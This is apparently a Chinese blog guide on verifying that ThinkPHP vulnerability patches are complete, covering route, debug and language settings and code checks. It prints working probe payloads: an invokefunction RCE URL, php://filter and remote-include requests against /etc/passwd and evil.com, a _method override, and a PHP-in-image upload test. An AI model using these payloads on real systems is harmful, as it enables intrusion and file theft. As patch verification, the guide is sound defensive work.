判断thinkphp漏洞是否真正修好,需从攻击入口、执行链路、环境配置三层面交叉验证:cve-2018-20062需测试?s=index/\think\app/invokefunction等url返回403/404;qvd-2022-46174需确认?lang=php://filter等请求不加载外部内容;必须关闭app_debug、启用强制路由、禁用危险函数,并检查app.php中控制器名是否经白名单校验。

判断ThinkPHP项目漏洞是否真正修好,不能只看“升级了版本”或“加了过滤”,得从攻击入口、执行链路、环境配置三个层面交叉验证。修得不彻底,等于没修。
检查漏洞对应的核心入口是否被阻断
不同漏洞有固定攻击路径,必须确认这些路径已失效:
- CVE-2018-20062(控制器RCE):访问
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=,返回403、404或空白页才算有效;返回phpinfo输出或报错信息说明仍可触发 - CVE-2022-38352(反序列化RCE):发送含恶意POP链的序列化payload到可能反序列化的接口(如日志上报、缓存读取、第三方SDK回调),观察是否出现
__destruct调用痕迹或任意代码执行结果 - QVD-2022-46174(多语言RFI):请求
?lang=php://filter/convert.base64-encode/resource=/etc/passwd或?lang=http://evil.com/shell.txt,响应中不应包含base64编码内容或远程文件内容,且日志里不能出现include()或require()加载外部URL的记录
确认关键配置已关闭高危默认行为
很多漏洞依赖框架默认开启的功能,仅补丁不够,必须人工核对配置项:
-
强制路由开启:config/route.php 中
'url_route_must' => true,避免未定义路由被自动解析为控制器名 -
调试模式关闭:config/app.php 中
'app_debug' => false且环境变量APP_DEBUG=false,防止错误页面泄露路径、类名等敏感信息 -
多语言功能禁用或加固:若不用多语言,直接注释或删除
Lang::load()调用;若必须启用,确保lang_path配置为绝对路径,且禁止用户控制lang参数值(如改用白名单校验) -
危险函数限制:在php.ini中禁用
system、exec、shell_exec等函数,或通过disable_functions配置项全局屏蔽
验证底层执行链是否真正断裂
补丁可能只修复表层调用,但POP链或反射调用仍存在。需检查实际代码流:
- 打开
thinkphp/library/think/App.php,确认moduleAndClass()或invokeMethod()类方法中,对控制器名、方法名、参数数组做了正则白名单校验(如只允许字母、数字、下划线),而非简单字符串替换 - 搜索项目中所有
unserialize(、__wakeup(、__destruct() 出现位置,确认其输入来源是否经过is_serialized()校验或完全来自可信内部数据(如本地缓存文件,非用户提交) - 检查日志组件(如
think/log/Channel.php)是否移除了对callable类型驱动的动态加载逻辑,避免通过日志配置注入执行点
用真实流量再跑一次最小化验证
别只测POC,用业务中最常走的路径复现一次:
- 模拟用户正常提交表单,抓包修改
_method=PUT为_method=__construct,看是否还能触发属性覆盖 - 上传一个含
<?php phpinfo();?>的图片文件,再通过URL访问该路径,确认无法解析为PHP执行(即无解析后缀绕过) - 在浏览器开发者工具中,清空Cookie后访问首页,检查响应头是否含
X-Powered-By: ThinkPHP—— 若还在,说明框架指纹未隐藏,可能暴露版本信息
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











